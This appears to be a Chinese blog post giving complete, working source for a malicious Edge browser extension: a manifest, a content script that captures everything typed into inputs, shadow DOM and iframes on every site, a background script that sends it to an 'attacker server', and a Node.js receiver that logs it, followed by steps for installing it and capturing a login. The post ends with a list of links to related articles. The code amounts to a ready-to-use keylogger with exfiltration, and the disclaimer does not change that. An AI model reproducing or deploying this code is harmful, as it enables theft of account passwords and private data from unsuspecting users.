免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

edge扩展作为edge浏览器丰富功能,增强浏览器功能扩展性的一个重要功能,不规范的配置和管理可能会造成严重的安全风险。恶意黑客利用钓鱼引导、后门植入等方式,制作和安装恶意扩展文件到edge浏览器中,从而造成信息泄露、凭证窃取、代码执行等风险。虽然Manifest V3版本已经移除了大量高危API和风险函数,但仍可以通过一定方式窃取到用户信息账户密码等。

扩展制作

edge扩展主要由核心文件、后台脚本、页面组件、资源文件等内容组成,想要制作恶意扩展文件,只需要保留核心文件、后台脚本即可。

现在我们开始编写扩展程序

核心文件 manifest.json

{
"manifest_version": 3,
"name": "Browser Helper",
"version": "1.0",
"description": "test",
"permissions": [
"activeTab",
"storage",
"webRequest",
"webNavigation"
],
"host_permissions": [
"http://192.168.80.128:8765/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}

我们来解释一下代码的主要核心内容,permissions是扩展在edge中的权限声明,我们需要用到的权限都需要在这进行声明。

activeTab用于临时获取当前激活(用户正在浏览)的标签页的控制权。

storage允许扩展使用 chrome.storage API 存储和读取数据。

webRequest拦截、修改或阻止网络请求。

webNavigation监听浏览器导航事件。

host_permissions下需要填写需要访问的特定主机或 URL 模式,当然这里直接换成"host_permissions": ["<all_urls>"]就是允许所有主机了。

"service_worker": "background.js"定义扩展的后台逻辑文件,这里是直接使用background.js作为后台逻辑文件。

"js": ["content.js"]向网页注入content.js脚本,后续获取用户输入信息有着巨大作用。

后台脚本 background.js

const ATTACKER_SERVER = 'http://192.168.80.128:8765/log';

let isConnected = false;

function testConnection() {
return fetch(ATTACKER_SERVER, {
method: 'HEAD'
}).then(() => {
isConnected = true;
return true;
}).catch(() => {
isConnected = false;
return false;
});
} function sendData(data) {
return fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).catch(e => {
console.error('发送失败:', e);
isConnected = false;
});
} chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === 'input_log') {
if (isConnected) {
sendData(message.data);
} else {
testConnection().then(connected => {
if (connected) {
sendData(message.data);
}
});
}
}
}); setInterval(testConnection, 30000);

ATTACKER_SERVER填写攻击者的IP即可。

background.js用于定期检测与攻击者IP的连接状态,并在连接可用时将接收到的输入数据发送到该攻击者IP。

注入页面脚本 content.js

function debounce(func, delay) {
let timer = null;
return function (...args) {
if (timer) clearTimeout(timer);
timer = setTimeout(() => {
func.apply(this, args);
}, delay);
};
} const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms function bindInputEvents(root = document) {
// 普通 input/textarea
root.querySelectorAll("input, textarea").forEach((input) => {
input.addEventListener("input", handleInput);
input.addEventListener("change", handleInput);
}); root.querySelectorAll("[contenteditable='true']").forEach((el) => {
el.addEventListener("keyup", handleInput);
});
} function penetrateShadowDOM(root = document) {
root.querySelectorAll("*").forEach((element) => {
if (element.shadowRoot) {
bindInputEvents(element.shadowRoot);
penetrateShadowDOM(element.shadowRoot);
}
});
} function observeIframes() {
document.querySelectorAll("iframe").forEach((iframe) => {
try {
if (iframe.contentDocument) {
bindInputEvents(iframe.contentDocument);
penetrateShadowDOM(iframe.contentDocument);
}
} catch (e) {
console.warn("跨域 iframe 无法监听:", e);
}
});
} const observer = new MutationObserver((mutations) => {
bindInputEvents();
penetrateShadowDOM();
observeIframes();
}); observer.observe(document.documentElement, {
childList: true,
subtree: true,
}); bindInputEvents();
penetrateShadowDOM();
observeIframes(); const observeInputValues = () => {
document.querySelectorAll("input, textarea").forEach((input) => {
let lastValue = input.value;
const valueObserver = new MutationObserver(() => {
if (input.value !== lastValue) {
lastValue = input.value;
handleInput({ target: input });
}
});
valueObserver.observe(input, {
attributes: true,
attributeFilter: ["value"],
});
});
}; setTimeout(observeInputValues, 5000);

该脚本监听网页中的所有输入框,然后将数据发送到后台。

  const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms

这里设置了防抖300ms,是基于用户输入习惯进行设置的,正常用户输入一串信息是连续的,如果需要切换到其他输入框,需要一定的时间,如果不设置防抖,输入内容会一个字母一个字母返回,很影响查看。

攻击者脚本 server.js

扩展程序写完了,我们现在还需要创建接收信息的脚本,这里直接使用了node.js的脚本直接运行,实战中可以换成其他语言。

import express from 'express';
import cors from 'cors';
import fs from 'fs';
import path from 'path'; const app = express();
const PORT = 8765;
const LOG_FILE = 'keylogs.json'; app.use(cors());
app.use(express.json()); let logs = []; try {
const data = fs.readFileSync(LOG_FILE, 'utf8');
logs = JSON.parse(data);
} catch (err) {
if (err.code !== 'ENOENT') {
console.error('读取日志文件错误:', err);
}
} app.post('/log', (req, res) => {
const logData = req.body;
logData.receivedAt = new Date().toISOString();
logs.push(logData); fs.writeFile(LOG_FILE, JSON.stringify(logs, null, 2), (err) => {
if (err) {
console.error('写入日志文件错误:', err);
}
}); console.log('收到日志:', logData);
res.status(200).send('日志已接收');
}); app.head('/log', (req, res) => {
res.status(200).end();
}); app.get('/logs', (req, res) => {
res.json(logs);
}); app.listen(PORT, '0.0.0.0', () => {
console.log(`攻击者服务器运行在 http://192.168.80.128:${PORT}`);
console.log('等待扩展连接...');
});

实战过程

我们现在已经写好了恶意扩展的代码,现在我们需要将他运用于实际中。

1、先创建一个文件夹

2、将扩展程序代码文件放入文件夹内

3、打开edge浏览器,进入扩展页面,打开开发者模式,点击加载解压缩的扩展

4、选择刚才放扩展代码的文件夹

5、像这样显示就是导入成功了

6、使用node.js运行攻击者脚本

7、我们找到一个需要登录的网站测试,输入账户密码

8、可以看到脚本已经将用户输入的账户密码信息给传递过来了

总结

该方法可以通过恶意的edge扩展获取到用户的敏感信息和操作,从而造成信息泄露甚至丢失系统权限。目前只是提供一个思路,面对那种对账号密码信息安全严密性高的网站上述代码可能不太能获取得到信息,具体的绕过思路还没有找到,不过目前已经足以应对大部分场景了。

利用Edge浏览器扩展获取账号密码等敏感性信息的更多相关文章

  1. Chrome浏览器扩展 获取用户密码

    Chrome 浏览器允许安装第三方扩展程序以扩展浏览器并给浏览器加入新的功能,扩展使用 JavaScript 以及 HTMl 编写并允许互相访问和控制 DOM. 因为允许访问 DOM,攻击者就可以读取 ...

  2. 如何创建一个Edge 浏览器扩展

    随着微软Windows 10 年度更新的发布,数次延宕的Edge 扩展功能终于得到了官方正式支持.我在我的另外一个博客上发布了如何创建一个Edge 浏览器扩展的博文,链接如下: https://blo ...

  3. 如何查看Chrome浏览器保存的账号密码

    之前告诉大家如何一键查看所有保存在IE里的所有密码(点击查看原文),现在来告诉大家如何一键查看Chrome浏览器的所有密码.某种意义上上,查看Chrome的密码比查看IE的更简单,因为查看IE密码还需 ...

  4. 利用KEGG的API获取基因对应的pathway 信息

    KEGG 官网提供了API, 可以方便的访问KEGG 数据库中的内容,链接如下: http://www.kegg.jp/kegg/rest/keggapi.html 利用API可以得到某一个基因参与的 ...

  5. 如何清除保存在IE浏览器上的账号密码

    1,打开浏览器,打开右上角的工具选项,选择Internet选项 2,在‘常规’选项卡中点击“删除”按钮,在弹框中勾选“密码”,选择删除即可.

  6. 通过google的inurl:backupdata*dede_admin获取账号密码

    简要描述:很简单,通过google可找出备份路径. 详细说明:http://www.google.com.hk/search?q=inurl:backupdata*dede_admin&hl= ...

  7. DL账号密码生命周期信息流图

  8. Chrome扩展移植到Edge浏览器教程

    微软在推出Edge浏览器之初,就把能够使用扩展(extension)作为一个重要功能.在Win10一周年更新版(1607)中,这项功能正式向广大用户推出(当然,Insider用户早就测试了一段时间了) ...

  9. 802.1X 账号密码+设备信息双重认证

    名词解释 802.1X: IEEE802 LAN/WAN 委员会为解决无线局域网网络安全问题,提出了 802.1X 协议.后来,802.1X协议作为局域网端口的一个普通接入控制机制在以太网中被广泛应用 ...

  10. 利用PPPOE认证获取路由器中宽带账号密码

    前言 回家时买了一台极路由准备换掉家里老掉牙的阿里路由器,想进后台看一下宽带账号密码,咦???后台密码是什么来着??? 我陷入了沉思,家里的路由器一般都是pppoe拨号,而路由器在与pppoe认证服务 ...

随机推荐

  1. split 命令分割超大日志文件

    split 命令分割超大日志文件 split -l 1000000 jmeter1432.log part_ 在Windows系统中也可以通过gitbash执行此命令 运行结果:

  2. VS Code C++ 切换配置集

    前言 最近转型做Golang开发了,但有需求做视频传输,想用ffmpeg做测试,只是加点日志,方便测试,就想直接用VS Code做下开发好了,安装C/C++的插件,用MSYS2编译. 问题 C/C++ ...

  3. Jupyter 使用安装的虚拟环境(tensorflow)

    1. 在 anaconda 中使用 conda create -n tensorflow python=3.6 创建 tensorflow 虚拟环境: 2. 安装交互环境(ipykernel)  co ...

  4. 源码方式本地化部署deepseek和量化

    前置条件 1.python环境,安装教程:https://www.python.org/downloads/2.wsl环境(Windows系统),安装教程:https://learn.microsof ...

  5. QT5笔记: 22. 自定义代理

    代理作用:在界面发生编辑时可以指定编辑所用的组件,可以沟通Model和View 自定义代理需要继承的基类和需要实现的方法 使用步骤: 继承QStyledItemDelegate,实现上面的四个方法 在 ...

  6. C# 委托与 Lambda 表达式转换机制及弱事件模式下的生命周期分析

    1. 委托内部结构 委托类型包含三个重要的非公共字段: _target 字段 静态方法包装:当委托包装一个静态方法时,该字段为 null. 实例方法包装:当委托包装实例方法时,该字段引用回调方法所操作 ...

  7. Windows 提权-RunAs

    本文通过 Google 翻译 RunAs – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充. 导航 0 前言 ...

  8. AI回答:一个简洁的php中间件类

    <?php class MiddlewareStack { private $middlewares = []; private $request; private $response; /** ...

  9. 【检索类型EI、Scopus】第二届智能计算与数据分析国际学术会议(ICDA 2025)

    为探讨数据科学和计算智能领域的关键问题,促进相关交流,由黄河科技学院主办的2025年第二届智能计算与数据分析国际学术会议(ICDA 2025)将于2025年8月22日-24日在中国郑州召开.本届会议拟 ...

  10. Python实现PDF转换文件格式

    最近工作中经常遇到收到其他人提供的pdf文档,想要编辑修改下或者复制部分内容比较困难,想通过现有的pdf工具软件转换文档格式,基本都要充钱,为了免费实现pdf转换工具,网上查了下相关技术方案,整理了下 ...